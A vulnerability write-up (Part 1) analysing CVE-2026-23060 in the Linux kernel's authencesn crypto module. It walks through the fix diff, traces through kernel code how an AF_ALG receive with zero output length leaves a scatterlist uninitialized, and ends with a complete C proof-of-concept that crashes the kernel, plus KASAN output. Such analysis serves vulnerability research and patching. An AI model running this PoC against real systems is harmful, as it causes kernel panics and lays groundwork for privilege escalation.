Linux Kernel Crypto Module Vulnerability — CVE-2026-23060, Part (1)
authencesn assumes an ESP/ESN-formatted AAD. When assoclen is shorter than
the minimum expected length, crypto_authenc_esn_decrypt() can advance past
the end of the destination scatterlist and trigger a NULL pointer dereference
in scatterwalk_map_and_copy(), leading to a kernel panic (DoS).
Add a minimum AAD length check to fail fast on invalid inputs.
Fixes: 104880a6b470 ("crypto: authencesn - Convert to new AEAD interface")
Reported-By: Taeyang Lee <0wn@theori.io>
Signed-off-by: Taeyang Lee <0wn@theori.io>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>At a high level, authencesn assumes that the AAD follows the ESP/ESN layout. If assoclen drops below the minimum, crypto_authenc_esn_decrypt() still performs the fixed 8-byte ESN header shuffle on dst. The commit message describes the resulting fault as a NULL-pointer dereference after advancing past the end of the destination scatterlist. In the AF_ALG configuration used here, the same invariant break can be combined with an outlen = 0 receive path that leaves the RX scatterlist uninitialized, so the observed crash shows up as a wild pointer dereference inside scatterwalk_map_and_copy().That is already enough to see the outline of the bug, but it still leaves the useful question unanswered: why does a short AAD end up becoming a kernel bug with any exploitation value at all?Root Cause AnalysisThe fix landed in commit [2397e926](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2397e9264676be7794f8f7f1e9763d90bd3c7335). The patch itself is tiny:diff --git a/crypto/authencesn.c b/crypto/authencesn.c
index d1bf0fda3f2ef..542a978663b9e 100644
--- a/crypto/authencesn.c
+++ b/crypto/authencesn.c
@@ -169,6 +169,9 @@ static int crypto_authenc_esn_encrypt(struct aead_request *req)
struct scatterlist src, dst;
int err;
-
if (assoclen < 8)
-
return -EINVAL;
sg_init_table(areq_ctx->src, 2);
src = scatterwalk_ffwd(areq_ctx->src, req->src, assoclen);
dst = src;
@@ -256,6 +259,9 @@ static int crypto_authenc_esn_decrypt(struct aead_request *req)
u32 tmp[2];
int err;
-
if (assoclen < 8)
-
return -EINVAL;
cryptlen -= authsize;
if (req->src != dst)</code></pre><p>An <code>assoclen < 8</code> guard is added to both <code>crypto_authenc_esn_encrypt()</code> and <code>crypto_authenc_esn_decrypt()</code>. Both paths rely on the same invariant (<code>AAD >= 8</code>), so the root cause is the same in each case. Since the PoC here hits the decrypt path, that is the one I focus on below.</p><pre><code>static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
struct crypto_aead *authenc_esn = crypto_aead_reqtfm(req);
struct authenc_esn_request_ctx *areq_ctx = aead_request_ctx(req);
struct crypto_authenc_esn_ctx *ctx = crypto_aead_ctx(authenc_esn);
struct ahash_request ahreq = (void )(areq_ctx->tail + ctx->reqoff);
unsigned int authsize = crypto_aead_authsize(authenc_esn);
struct crypto_ahash *auth = ctx->auth;
u8 *ohash = areq_ctx->tail;
unsigned int assoclen = req->assoclen;
unsigned int cryptlen = req->cryptlen;
u8 *ihash = ohash + crypto_ahash_digestsize(auth);
struct scatterlist *dst = req->dst;
u32 tmp[2];
int err;
cryptlen -= authsize;
if (req->src != dst) {
err = crypto_authenc_esn_copy(req, assoclen + cryptlen);
if (err)
return err;
}
scatterwalk_map_and_copy(ihash, req->src, assoclen + cryptlen,
authsize, 0);
if (!authsize)
goto tail;
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
sg_init_table(areq_ctx->dst, 2);
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
ahash_request_set_tfm(ahreq, auth);
ahash_request_set_crypt(ahreq, dst, ohash, assoclen + cryptlen);
ahash_request_set_callback(ahreq, aead_request_flags(req),
authenc_esn_verify_ahash_done, req);
err = crypto_ahash_digest(ahreq);
if (err)
return err;
tail:
return crypto_authenc_esn_decrypt_tail(req, aead_request_flags(req));
}The faulting access is scatterwalk_map_and_copy(tmp, dst, 0, 8, 0). So the next thing to pin down is what dst looks like, and why a fixed 8-byte read becomes unsafe in this configuration.scatterlistA scatterlist is the kernel's standard representation for a logically contiguous buffer backed by multiple physical segments. Crypto code relies on it whenever input or output spans multiple pages or otherwise non-contiguous memory regions. The same representation is also DMA-friendly, since each segment can be described independently rather than repacked into a single buffer.struct scatterlist {
unsigned long page_link;
unsigned int offset;
unsigned int length;
dma_addr_t dma_address;
#ifdef CONFIG_NEED_SG_DMA_LENGTH
unsigned int dma_length;
#endif
#ifdef CONFIG_NEED_SG_DMA_FLAGS
unsigned int dma_flags;
#endif
};- page_link: encodes a struct page * together with two low bits of flags. sg_page() masks off the flags and hands back the actual page pointer.- offset: byte offset inside that page.- length: number of bytes covered by this entry.The point that matters later for exploitation is that a scatterlist carries a page pointer directly. Once that field becomes writable under attacker control, the bug can be connected to page-table-oriented techniques such as Dirty Pagetable (https://kuzey.rs/posts/Dirty_Page_Table/) That part belongs to Part (2).ESP-ESN and the AAD LayoutAs the name suggests, authencesn is authenc + ESN. It is an AEAD wrapper for IPsec ESP (Encapsulating Security Payload) security associations with ESN (Extended Sequence Number, RFC 4304) enabled, and it is written under the assumption that the caller is the IPsec stack.In ESN mode, the AAD region passed to authencesn has this shape:┌────────┬──────────┬──────────┬─────────────────┬──────────┐
│ SPI(4) │ SeqHi(4) │ SeqLo(4) │ payload (CT/PT) │ ICV │
└────────┴──────────┴──────────┴─────────────────┴──────────┘
│← AAD (assoclen = 12B) →│- SPI(4B) + SeqHi(upper 32 bits of the sequence number, 4B) + SeqLo(lower 32 bits, 4B), for a total of 12B. On the wire, the ESP header only carries SPI and SeqLo, but in ESN mode SeqHi is also included in the AAD so that it gets covered by the ICV.- XFRM hands the AAD to the crypto layer in [SPI][SeqHi][SeqLo] order, and authencesn rearranges it into the order consumed by the integrity calculation: [SPI][SeqLo][payload][SeqHi]. Operationally, the code removes SeqHi from the middle of the AAD and appends it after the payload.The rearrangement lives at lines 93–95 of the vulnerable function:/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // (1) tmp[0..7] <- dst[0..7]
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // (2) dst[4..7] <- tmp[0..3]
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // (3) dst[end..end+3] <- tmp[4..7]- (1) Back up the first 8 bytes of dst (SPI + SeqHi) into tmp.- (2) Overwrite bytes 4-7 of dst with SPI, so that when the ahash input starts at dst + 4, it begins as [SPI][SeqLo][...].- (3) Append the backed-up SeqHi after the payload (at assoclen + cryptlen), giving the ahash input the final [SPI][SeqLo][payload][SeqHi] layout.The important detail is that (1) always reads a fixed 8 bytes. On the intended IPsec/XFRM path, that is fine because assoclen >= 8 and the first 8 bytes do in fact contain [SPI][SeqHi]. Once the protocol invariant is broken (assoclen < 8), authencesn still treats dst[0..7] as valid ESN AAD. In the AF_ALG trigger used later, that assumption matters because dst ends up pointing at an uninitialized RX scatterlist.At this point, it is worth looking at what scatterwalk_map_and_copy() actually does:void scatterwalk_map_and_copy(void buf, struct scatterlist sg,
unsigned int start, unsigned int nbytes, int out)
{
struct scatter_walk walk;
struct scatterlist tmp[2];
if (!nbytes)
return;
sg = scatterwalk_ffwd(tmp, sg, start);
scatterwalk_start(&walk, sg);
scatterwalk_copychunks(buf, &walk, nbytes, out);
scatterwalk_done(&walk, out, 0);
}static inline void memcpy_dir(void buf, void sgdata, size_t nbytes, int out)
{
void *src = out ? buf : sgdata;
void *dst = out ? sgdata : buf;
memcpy(dst, src, nbytes);
/*
if (out == 0)
memcpy(buf, sgdata, nbytes);
else
memcpy(sgdata, buf, nbytes);
*/
}
void scatterwalk_copychunks(void buf, struct scatter_walk walk,
size_t nbytes, int out)
{
for (;;) {
unsigned int len_this_page = scatterwalk_pagelen(walk);
u8 *vaddr;
if (len_this_page > nbytes)
len_this_page = nbytes;
if (out != 2) {
vaddr = scatterwalk_map(walk);
memcpy_dir(buf, vaddr, len_this_page, out);
scatterwalk_unmap(vaddr);
}
scatterwalk_advance(walk, len_this_page);
if (nbytes == len_this_page)
break;
buf += len_this_page;
nbytes -= len_this_page;
scatterwalk_pagedone(walk, out & 1, 1);
}
}scatterwalk_map_and_copy() is a directional copy helper: with out = 0 it copies sg -> buf, and with out = 1 it copies buf -> sg. So in this case, the three calls mean:scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // tmp[0..7] <- dst[0..7]
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // dst[4..7] <- tmp[0..3]
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // dst[end..end+3] <- tmp[4..7]So where does dst actually come from? Since dst = req->dst, the relevant point is where req->dst gets assigned.static inline void aead_request_set_crypt(struct aead_request *req,
struct scatterlist *src,
struct scatterlist *dst,
unsigned int cryptlen, u8 *iv)
{
req->src = src;
req->dst = dst;
req->cryptlen = cryptlen;
req->iv = iv;
}aead_request_set_crypt() is called from _aead_recvmsg().static int aeadrecvmsg(struct socket sock, struct msghdr msg,
size_t ignored, int flags)
{
/* Allocate cipher request for current operation. */
areq = af_alg_alloc_areq(sk, sizeof(struct af_alg_async_req) +
crypto_aead_reqsize(tfm)); // [1]
if (IS_ERR(areq))
return PTR_ERR(areq);
/* convert iovecs of output buffers into RX SGL */
err = af_alg_get_rsgl(sk, msg, flags, areq, outlen, &usedpages); // [2]
...
...
/* Initialize the crypto operation */
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src,
areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv); // [3]
aead_request_set_ad(&areq->cra_u.aead_req, ctx->aead_assoclen);
aead_request_set_tfm(&areq->cra_u.aead_req, tfm);
...
}So req->dst = areq->first_rsgl.sgl.sgt.sgl ([3]). areq is allocated with sock_kmalloc() inside af_alg_alloc_areq() ([1]), and its first_rsgl is populated by af_alg_get_rsgl() ([2]).int af_alg_get_rsgl(struct sock sk, struct msghdr msg, int flags,
struct af_alg_async_req *areq, size_t maxsize,
size_t *outlen)
{
struct alg_sock *ask = alg_sk(sk);
struct af_alg_ctx *ctx = ask->private;
size_t len = 0;
while (maxsize > len && msg_data_left(msg)) { // [1]
struct af_alg_rsgl *rsgl;
ssize_t err;
size_t seglen;
/* limit the amount of readable buffers */
if (!af_alg_readable(sk))
break;
seglen = min_t(size_t, (maxsize - len),
msg_data_left(msg));
if (list_empty(&areq->rsgl_list)) {
rsgl = &areq->first_rsgl;
} else {
rsgl = sock_kmalloc(sk, sizeof(*rsgl), GFP_KERNEL);
if (unlikely(!rsgl))
return -ENOMEM;
}
rsgl->sgl.need_unpin =
iov_iter_extract_will_pin(&msg->msg_iter);
rsgl->sgl.sgt.sgl = rsgl->sgl.sgl;
rsgl->sgl.sgt.nents = 0;
rsgl->sgl.sgt.orig_nents = 0;
list_add_tail(&rsgl->list, &areq->rsgl_list);
sg_init_table(rsgl->sgl.sgt.sgl, ALG_MAX_PAGES);
err = extract_iter_to_sg(&msg->msg_iter, seglen, &rsgl->sgl.sgt,
ALG_MAX_PAGES, 0);
if (err < 0) {
rsgl->sg_num_bytes = 0;
return err;
}
sg_mark_end(rsgl->sgl.sgt.sgl + rsgl->sgl.sgt.nents - 1);
/* chain the new scatterlist with previous one */
if (areq->last_rsgl)
af_alg_link_sg(&areq->last_rsgl->sgl, &rsgl->sgl);
areq->last_rsgl = rsgl;
len += err;
atomic_add(err, &ctx->rcvused);
rsgl->sg_num_bytes = err;
}
*outlen = len;
return 0;
}This is where the AF_ALG side of the bug starts to matter. If maxsize is 0, the loop condition maxsize > len is false from the first iteration, so the body never executes ([1]).That means sg_init_table() and extract_iter_to_sg() are never called, and the page_link / offset / length fields inside first_rsgl.sgl.sgl[] are left uninitialized. Since sock_kmalloc() — the allocator behind af_alg_alloc_areq() — doesn't pass __GFP_ZERO, whatever stale bytes the slab had from a previous user (i.e. garbage) are still sitting there. Nothing says those bytes have to be NULL either.When that uninitialized scatterlist is later walked through req->dst, scatterwalk_map() eventually reaches kmap_local_page(sg_page(sg)) and dereferences a garbage page pointer. The memcpy that follows touches some wild virtual address, and that is the access KASAN ends up reporting.The next obvious question is where maxsize comes from. It comes from outlen in _aead_recvmsg():static int _aead_recvmsg(struct socket sock, struct msghdr msg,
size_t ignored, int flags)
{
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct sock *psk = ask->parent;
struct alg_sock *pask = alg_sk(psk);
struct af_alg_ctx *ctx = ask->private;
struct aead_tfm *aeadc = pask->private;
struct crypto_aead *tfm = aeadc->aead;
struct crypto_sync_skcipher *null_tfm = aeadc->null_tfm;
unsigned int i, as = crypto_aead_authsize(tfm);
struct af_alg_async_req *areq;
struct af_alg_tsgl tsgl, tmp;
struct scatterlist rsgl_src, tsgl_src = NULL;
int err = 0;
size_t used = 0; /* [in] TX bufs to be en/decrypted */
size_t outlen = 0; /* [out] RX bufs produced by kernel */
size_t usedpages = 0; /* [in] RX bufs to be used from user */
size_t processed = 0; /* [in] TX bufs to be consumed */
if (!ctx->init || ctx->more) {
err = af_alg_wait_for_data(sk, flags, 0);
if (err)
return err;
}
used = ctx->used;
if (!aead_sufficient_data(sk))
return -EINVAL;
if (ctx->enc)
outlen = used + as;
else
outlen = used - as;
used -= ctx->aead_assoclen;
areq = af_alg_alloc_areq(sk, sizeof(struct af_alg_async_req) +
crypto_aead_reqsize(tfm));
if (IS_ERR(areq))
return PTR_ERR(areq);
err = af_alg_get_rsgl(sk, msg, flags, areq, outlen, &usedpages);
...
}Here, maxsize is outlen, and for decryption outlen = used - as. Since both used and as are user-controlled, setting used == as forces outlen = 0. One additional constraint remains: aead_sufficient_data() checks used >= ctx->aead_assoclen + as, so used == as is accepted only when ctx->aead_assoclen == 0.That lines up nicely with the AF_ALG trigger used below: leave the operation fd in its zero-initialized default configuration (enc = 0, aead_assoclen = 0), send exactly as bytes, and the receive path falls into the uninitialized-RX-SGL case.Proof of ConceptSo the trigger condition is now clear: keep assoclen = 0, make used == as, and then call _aead_recvmsg(). The remaining pieces are the user-space entry point and the controls for used and as.The Crypto API is exposed to user space through the AF_ALG socket family. A minimal AEAD workflow looks like this:#define _GNU_SOURCE
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <unistd.h>
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#define ALG_SET_IV 2
#define ALG_SET_OP 3
#define ALG_SET_AEAD_ASSOCLEN 4
#define ALG_SET_AEAD_AUTHSIZE 5
#define ALG_OP_ENCRYPT 1
#endif
struct sockaddr_alg {
uint16_t salg_family;
uint8_t salg_type[14];
uint32_t salg_feat;
uint32_t salg_mask;
uint8_t salg_name[64];
};
struct af_alg_iv {
uint32_t ivlen;
uint8_t iv[];
};
static void dump(const char label, const uint8_t buf, size_t n)
{
printf("%s (%zu):", label, n);
for (size_t i = 0; i < n; i++) printf(" %02x", buf[i]);
putchar('\n');
}
int main(void)
{
struct sockaddr_alg sa = {0};
sa.salg_family = AF_ALG;
memcpy(sa.salg_type, "aead", 4);
memcpy(sa.salg_name, "gcm(aes)", 8);
int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa));
uint8_t key[16] = {
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,
};
setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(tfmfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int opfd = accept(tfmfd, NULL, NULL);
close(tfmfd);
uint8_t aad[8] = { 'H','E','A','D','E','R','!','!' };
uint8_t pt[16] = { 'h','e','l','l','o',' ','w','o','r','l','d','!','!','!','!','!' };
uint8_t iv[12] = {
0x10,0x11,0x12,0x13,0x14,0x15,
0x16,0x17,0x18,0x19,0x1a,0x1b,
};
uint8_t input[sizeof(aad) + sizeof(pt)];
memcpy(input, aad, sizeof(aad));
memcpy(input + sizeof(aad), pt, sizeof(pt));
uint8_t ctrl[CMSG_SPACE(sizeof(uint32_t)) +
CMSG_SPACE(sizeof(uint32_t)) +
CMSG_SPACE(sizeof(struct af_alg_iv) + 12)] = {0};
struct iovec iov = { .iov_base = input, .iov_len = sizeof(input) };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = ctrl,
.msg_controllen = sizeof(ctrl),
};
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
(uint32_t )CMSG_DATA(cmsg) = ALG_OP_ENCRYPT;
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
(uint32_t )CMSG_DATA(cmsg) = sizeof(aad);
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 12);
struct af_alg_iv iv_cmsg = (struct af_alg_iv )CMSG_DATA(cmsg);
iv_cmsg->ivlen = 12;
memcpy(iv_cmsg->iv, iv, 12);
ssize_t sent = sendmsg(opfd, &msg, 0);
if (sent < 0) { perror("sendmsg"); return 1; }
uint8_t out[sizeof(aad) + sizeof(pt) + 16];
ssize_t got = recv(opfd, out, sizeof(out), 0);
if (got < 0) { perror("recv"); return 1; }
dump("key ", key, sizeof(key));
dump("iv ", iv, sizeof(iv));
dump("aad ", aad, sizeof(aad));
dump("plaintext ", pt, sizeof(pt));
dump("out ", out, (size_t)got);
dump(" aad ", out, sizeof(aad));
dump(" ct ", out + sizeof(aad), sizeof(pt));
dump(" tag ", out + sizeof(aad) + sizeof(pt), 16);
close(opfd);
return 0;
}❯ ./example
key (16): 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
iv (12): 10 11 12 13 14 15 16 17 18 19 1a 1b
aad (8): 48 45 41 44 45 52 21 21
plaintext (16): 68 65 6c 6c 6f 20 77 6f 72 6c 64 21 21 21 21 21
out (40): 48 45 41 44 45 52 21 21 ac 4b 6f c3 60 6f c1 80 65 b1 39 d4 e6 06 ca 1f 0e 85 ee 68 27 5e 1a 9b 74 ee 26 94 ac 38 2f 99
aad (8): 48 45 41 44 45 52 21 21
ct (16): ac 4b 6f c3 60 6f c1 80 65 b1 39 d4 e6 06 ca 1f
tag (16): 0e 85 ee 68 27 5e 1a 9b 74 ee 26 94 ac 38 2f 99The setup sequence is:- socket(AF_ALG, SOCK_SEQPACKET, 0) creates the algorithm socket tfmfd).- bind() selects the algorithm "aead" + "gcm(aes)", etc.) and instantiates the tfm.- setsockopt(ALG_SET_KEY / ALG_SET_AEAD_AUTHSIZE, ...) configures the key and tag size.- accept(tfmfd) returns the operation socket opfd) used for subsequent sendmsg() and recvmsg() calls.On the receive side, recvmsg(opfd, ...) is dispatched through algif_aead_ops.recvmsg = aead_recvmsg and then into _aead_recvmsg(). After that, the only thing left is to force used == as.The crashing PoC later in the writeup intentionally omits most of those control messages. After accept(), algif_aead zero-initializes struct af_alg_ctx and the IV buffer, so unless a later sendmsg() CMSG overrides them, the child socket remains in decrypt mode with assoclen = 0 and an all-zero IV. For this bug, that default state is exactly what we want.Setting asas is the return value of crypto_aead_authsize(tfm):static inline unsigned int crypto_aead_authsize(struct crypto_aead *tfm)
{
return tfm->authsize;
}tfm->authsize is written by crypto_aead_setauthsize():int crypto_aead_setauthsize(struct crypto_aead *tfm, unsigned int authsize)
{
int err;
if ((!authsize && crypto_aead_maxauthsize(tfm)) ||
authsize > crypto_aead_maxauthsize(tfm))
return -EINVAL;
if (crypto_aead_alg(tfm)->setauthsize) {
err = crypto_aead_alg(tfm)->setauthsize(tfm, authsize);
if (err)
return err;
}
tfm->authsize = authsize;
return 0;
}That function is in turn called from aead_setauthsize():static int aead_setauthsize(void *private, unsigned int authsize)
{
struct aead_tfm *tfm = private;
return crypto_aead_setauthsize(tfm->aead, authsize);
}And aead_setauthsize() is reached from the ALG_SET_AEAD_AUTHSIZE case of alg_setsockopt(). So the entry point of the whole chain is a user setsockopt():static int alg_setsockopt(struct socket *sock, int level, int optname,
sockptr_t optval, unsigned int optlen)
{
...
switch (optname) {
...
case ALG_SET_AEAD_AUTHSIZE:
if (sock->state == SS_CONNECTED)
goto unlock;
if (!type->setauthsize)
goto unlock;
err = type->setauthsize(ask->private, optlen);
break;
...
}
}int do_sock_setsockopt(struct socket *sock, bool compat, int level,
int optname, sockptr_t optval, int optlen)
{
const struct proto_ops *ops;
char *kernel_optval = NULL;
int err;
if (optlen < 0)
return -EINVAL;
err = security_socket_setsockopt(sock, level, optname);
if (err)
goto out_put;
if (!compat)
err = BPF_CGROUP_RUN_PROG_SETSOCKOPT(sock->sk, &level, &optname,
optval, &optlen,
&kernel_optval);
if (err < 0)
goto out_put;
if (err > 0) {
err = 0;
goto out_put;
}
if (kernel_optval)
optval = KERNEL_SOCKPTR(kernel_optval);
ops = READ_ONCE(sock->ops);
if (level == SOL_SOCKET && !sock_use_custom_sol_socket(sock))
err = sock_setsockopt(sock, level, optname, optval, optlen);
else if (unlikely(!ops->setsockopt))
err = -EOPNOTSUPP;
else
err = ops->setsockopt(sock, level, optname, optval,
optlen); // call alg_setsockopt
kfree(kernel_optval);
out_put:
return err;
}Following the call chain back up shows that **the optlen argument of setsockopt() is used directly as authsize; optval is not read. So from user space, a single ALG_SET_AEAD_AUTHSIZE call is enough to set as = 16:uint8_t key[8 + 20 + 16] = {0};
key[0] = 0x08;
key[2] = 0x01;
(uint32_t )(key + 4) = htonl(16);
setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(tfmfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16); // set as = 16Setting usedused comes from ctx->used, which is accumulated inside af_alg_sendmsg():int af_alg_sendmsg(struct socket sock, struct msghdr msg, size_t size,
unsigned int ivsize)
{
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct af_alg_ctx *ctx = ask->private;
struct af_alg_tsgl *sgl;
struct af_alg_control con = {};
long copied = 0;
bool enc = false;
bool init = false;
int err = 0;
...
while (size) {
struct scatterlist *sg;
size_t len = size;
ssize_t plen;
/* use the existing memory in an allocated page */
if (ctx->merge && !(msg->msg_flags & MSG_SPLICE_PAGES)) {
sgl = list_entry(ctx->tsgl_list.prev,
struct af_alg_tsgl, list);
sg = sgl->sg + sgl->cur - 1;
len = min_t(size_t, len,
PAGE_SIZE - sg->offset - sg->length);
err = memcpy_from_msg(page_address(sg_page(sg)) +
sg->offset + sg->length,
msg, len);
if (err)
goto unlock;
sg->length += len;
ctx->merge = (sg->offset + sg->length) &
(PAGE_SIZE - 1);
ctx->used += len; // set ctx->used
copied += len;
size -= len;
continue;
}
...
}
err = 0;
ctx->more = msg->msg_flags & MSG_MORE;
unlock:
af_alg_data_wakeup(sk);
ctx->write = false;
release_sock(sk);
return copied ?: err;
}The size argument is consumed in len-sized chunks and accumulated into ctx->used. af_alg_sendmsg() is reached through aead_sendmsg(), which is installed as algif_aead_ops.sendmsg. From user space the path is sock_sendmsg() → sock->ops->sendmsg(sock, msg, size) → aead_sendmsg() → af_alg_sendmsg(). The size that reaches this path is msg_data_left(msg) = iov_iter_count(&msg->msg_iter), i.e. the sum of all iov_len values in the message. Sending a single 16-byte iovec therefore results in ctx->used = 16.static int __sock_sendmsg(struct socket sock, struct msghdr msg)
{
int err = security_socket_sendmsg(sock, msg,
msg_data_left(msg));
return err ?: sock_sendmsg_nosec(sock, msg);
}static struct proto_ops algif_aead_ops = {
.family = PF_ALG,
.connect = sock_no_connect,
.socketpair = sock_no_socketpair,
.getname = sock_no_getname,
.ioctl = sock_no_ioctl,
.listen = sock_no_listen,
.shutdown = sock_no_shutdown,
.mmap = sock_no_mmap,
.bind = sock_no_bind,
.accept = sock_no_accept,
.release = af_alg_release,
.sendmsg = aead_sendmsg,
.recvmsg = aead_recvmsg,
.poll = af_alg_poll,
};static int aead_sendmsg(struct socket sock, struct msghdr msg, size_t size)
{
struct sock *sk = sock->sk;
struct alg_sock *ask = alg_sk(sk);
struct sock *psk = ask->parent;
struct alg_sock *pask = alg_sk(psk);
struct aead_tfm *aeadc = pask->private;
struct crypto_aead *tfm = aeadc->aead;
unsigned int ivsize = crypto_aead_ivsize(tfm);
return af_alg_sendmsg(sock, msg, size, ivsize);
}So a single sendmsg() with a 16-byte iovec is enough:uint8_t input[16] = {0};
struct iovec iov = { .iov_base = input, .iov_len = 16 };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
};
sendmsg(opfd, &msg, 0); // used = 16Final PoCAt this point, the trigger can be reduced to the following minimum:- ALG_SET_AEAD_AUTHSIZE sets as = 16.- A single sendmsg() with a 16-byte iovec sets used = 16.- We intentionally do not send ALG_SET_AEAD_ASSOCLEN or ALG_SET_OP, so the accepted child socket stays in its zeroed default state: decrypt mode with assoclen = 0.- recv() then enters _aead_recvmsg() with used = as, which makes outlen = 0 and leaves the RX SGL uninitialized before crypto_authenc_esn_decrypt() touches dst[0..7].The resulting PoC is:#define _GNU_SOURCE
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <unistd.h>
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#define ALG_SET_AEAD_AUTHSIZE 5
#endif
struct sockaddr_alg {
uint16_t salg_family;
uint8_t salg_type[14];
uint32_t salg_feat;
uint32_t salg_mask;
uint8_t salg_name[64];
};
int main(void)
{
struct sockaddr_alg sa = {0};
sa.salg_family = AF_ALG;
memcpy(sa.salg_type, "aead", 4);
memcpy(sa.salg_name, "authencesn(hmac(sha256),cbc(aes))", 33);
int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa));
uint8_t key[8 + 20 + 16] = {0};
key[0] = 0x08;
key[2] = 0x01;
(uint32_t )(key + 4) = htonl(16);
setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(tfmfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int opfd = accept(tfmfd, NULL, NULL);
uint8_t input[16] = {0};
struct iovec iov = { .iov_base = input, .iov_len = 16 };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
};
sendmsg(opfd, &msg, 0);
uint8_t out[16];
recv(opfd, out, sizeof(out), 0);
return 0;
}KASAN~ # ./poc
[ 4.036876] ==================================================================
[ 4.038419] BUG: KASAN: wild-memory-access in scatterwalk_copychunks+0x196/0x4c0
[ 4.040294] Read of size 8 at addr dadfe35b46463b6b by task poc/74
[ 4.041331]
[ 4.041586] CPU: 1 UID: 0 PID: 74 Comm: poc Not tainted 6.12.62 #2
[ 4.041589] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 4.041590] Call Trace:
[ 4.041591] <TASK>
[ 4.041592] dump_stack_lvl+0x53/0x70
[ 4.041596] kasan_report+0xc6/0x100
[ 4.041599] ? scatterwalk_copychunks+0x196/0x4c0
[ 4.041601] kasan_check_range+0x105/0x1b0
[ 4.041603] __asan_memcpy+0x23/0x60
[ 4.041604] scatterwalk_copychunks+0x196/0x4c0
[ 4.041606] scatterwalk_map_and_copy+0x11b/0x140
[ 4.041608] ? __pfx_scatterwalk_map_and_copy+0x10/0x10
[ 4.041609] crypto_authenc_esn_decrypt+0x2f5/0x5f0
[ 4.041612] ? __pfx_crypto_authenc_esn_decrypt+0x10/0x10
[ 4.041614] aead_recvmsg+0xb31/0x1760
[ 4.041616] ? __pfx_aead_recvmsg+0x10/0x10
[ 4.041618] ? __pfx_aead_recvmsg+0x10/0x10
[ 4.041620] sock_recvmsg+0x1b4/0x220
[ 4.041622] ? sockfd_lookup_light+0x13/0x140
[ 4.041624] __sys_recvfrom+0x15a/0x260
[ 4.041626] ? pfx_sys_recvfrom+0x10/0x10
[ 4.041628] ? __sys_sendmsg+0xe6/0x190
[ 4.041629] __x64_sys_recvfrom+0xdb/0x1b0
[ 4.041631] ? arch_exit_to_user_mode_prepare.isra.0+0x11/0x90
[ 4.041634] ? syscall_exit_to_user_mode+0x37/0xe0
[ 4.041636] do_syscall_64+0x9e/0x1a0
[ 4.041638] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 4.041641] RIP: 0033:0x401a0d
[ 4.041642] Code: 07 74 05 a4 ff ca 75 fb c3 0f 1f 40 00 f3 0f 1e fa 48 89 f8 4d 89 c2 48 89 f7 4d 89 c8 48 89 d6 4c 8b 4c 24 08 48 89 ca 0f 05 <c3> 66 90 f3 0f 1e fa e9 d7 ff ff ff 0f 1f 80 00 00 00 00 f3 0f 1e
[ 4.041644] RSP: 002b:00007ffd72218b48 EFLAGS: 00000202 ORIG_RAX: 000000000000002d
[ 4.041646] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 0000000000401a0d
[ 4.041647] RDX: 0000000000000010 RSI: 00007ffd72218c30 RDI: 0000000000000004
